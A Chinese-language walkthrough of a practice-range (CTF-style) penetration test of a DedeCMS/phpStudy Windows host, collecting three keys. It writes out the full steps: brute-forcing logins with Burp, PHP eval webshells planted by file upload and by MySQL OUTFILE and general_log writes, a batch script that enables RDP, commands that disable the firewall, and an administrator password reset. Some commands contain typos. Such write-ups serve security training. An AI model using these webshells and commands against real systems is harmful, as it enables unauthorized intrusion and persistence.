1. 靶场环境

2. 信息搜集
nmap 扫描存活主机,发现主机 192.168.163.130
1
nmap -sn 192.168.163.0/24

扫描端口
1
namp -sS -p- -T5 192.168.163.130

发现 http 站点和 mysql 数据库
访问站点
弹出登录框

bp 抓包查看,发现 base64 编码的认证头

解码发现为输入的用户名密码

3. 登录页面爆破
发送到 Intruder,构造 payload

参数设置

位置 2 配置

选择 base64 编码

取消勾选 URL 编码

开始攻击
过滤 status code


YWRtaW46MTIzNDU2 解码得到 admin:123456

获取到 key1
登录后弹出提示框显示 key

3.2. bp 目录遍历
设置 payload

添加字典



1
2
3
4
/dede/login.php # 织梦默认后台路径
/member/login.php # 网站登录路径
/member/reg_new.php # 网站注册路径
/phpmyadmin/index.php # phpmyadmin登录页面
4. 访问织梦后台
使用 123:123 登录提示:用户名不存在

使用 admin:123456 登录提示:密码错误

说明存在用户:admin
4.1.1. bp 爆破密码
重新获取一次验证码填入 validate,设置 pwd 为 payload

载入字典

攻击结果:

用户名:admin 密 码:888888
登录成功,浏览页面,在 文件式管理器 发现利用点,可以上传、创建 php 文件

4.2. getshell
新建一句话木马文件

点击文件,访问成功

蚁剑连接

配置认证头

连接成功,在网站根目录发现 key.txt
获取到 key2

发现当前用户为 System

查找 key.txt,只找到网站根目录的 key
1
for /r "c:\" %i in (key*.txt*) do echo %i

猜测 key3 在回收站
[!NOTE]
放入回收站的文件会被改名,且分为两个文件: 一个保存文件原路径,一个保存文件原内容。
查看回收站内容

发现路径文件

获取到 key3
发现 key.txt 文件内容

4.3. 开启远程桌面
上传 3389.bat 脚本并执行
1
2
3
4
5
6
7
8
9
10
@REM 3389.bat
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg

查看端口开放情况

查看防火墙状态
1
2
3
netsh fiewwall show state
# 禁用防火墙
netsh firewall set opmod disable

修改管理员用户密码
1
net user administrator 123456

Win+R 输入 mstsc 连接远程桌面

回收站发现 key

5. 访问 phpMyadmin


测试弱密码 root:root 登录成功
发现数据库 dedecmsv56utf 为织梦数据库

发现 admin 密码:cca77804d2ba1922c33e

查看数据库 dede_member 中的用户密码

发现 0001 用户密码与 admin 密码有相似部分,确定 admin 密码格式为 md5 编码截取前 5 位和后 7 位,可以注册用户并替换密码
获取网站根目录路径
1
2
show global variables; # 查看配置
select @@basedir;

发现目录 C:\phpStudy\,猜测网站根目录路径:C:\phpStudy\WWW\
5.1.1. 利用 OUTFILE getshell
查看权限
1
show global variables like "%priv%";

secure_file_priv 显示为空,说明可在任意处创建文件
1
2
select '<?php echo 123;eval($_REQUEST[a]);?>' into outfile 'c:/phpstudy/www/shell.php';
-- 不能写成 'c:\phpstudy\www\shell.php'

蚁剑连接,配置认证头

连接成功

5.2. 利用日志 getshell
原理:MySQL 的 general_log、slow_log 可以记录 SQL 语句到文件。通过设置日志路径到 Web 目录,就能写 PHP 代码。
利用场景:当没有权限使用 OUTFILE 时可利用 MySQL 日志文件 getshell
查看日志状态:
1
show global variables like '%log%';

修改日志配置:
1
2
set global general_log="ON";
set global general_log_file="c:/phpstudy/www/shell_log.php";

注:除了使用命令操作,也可使用可视化界面进行修改。
注入一句话木马:
1
2
3
select '<?php echo 123;eval($_REQUEST[a]);?>';
-- 关闭日志记录
set global general_log="OFF";
访问成功:

蚁剑连接后获取 key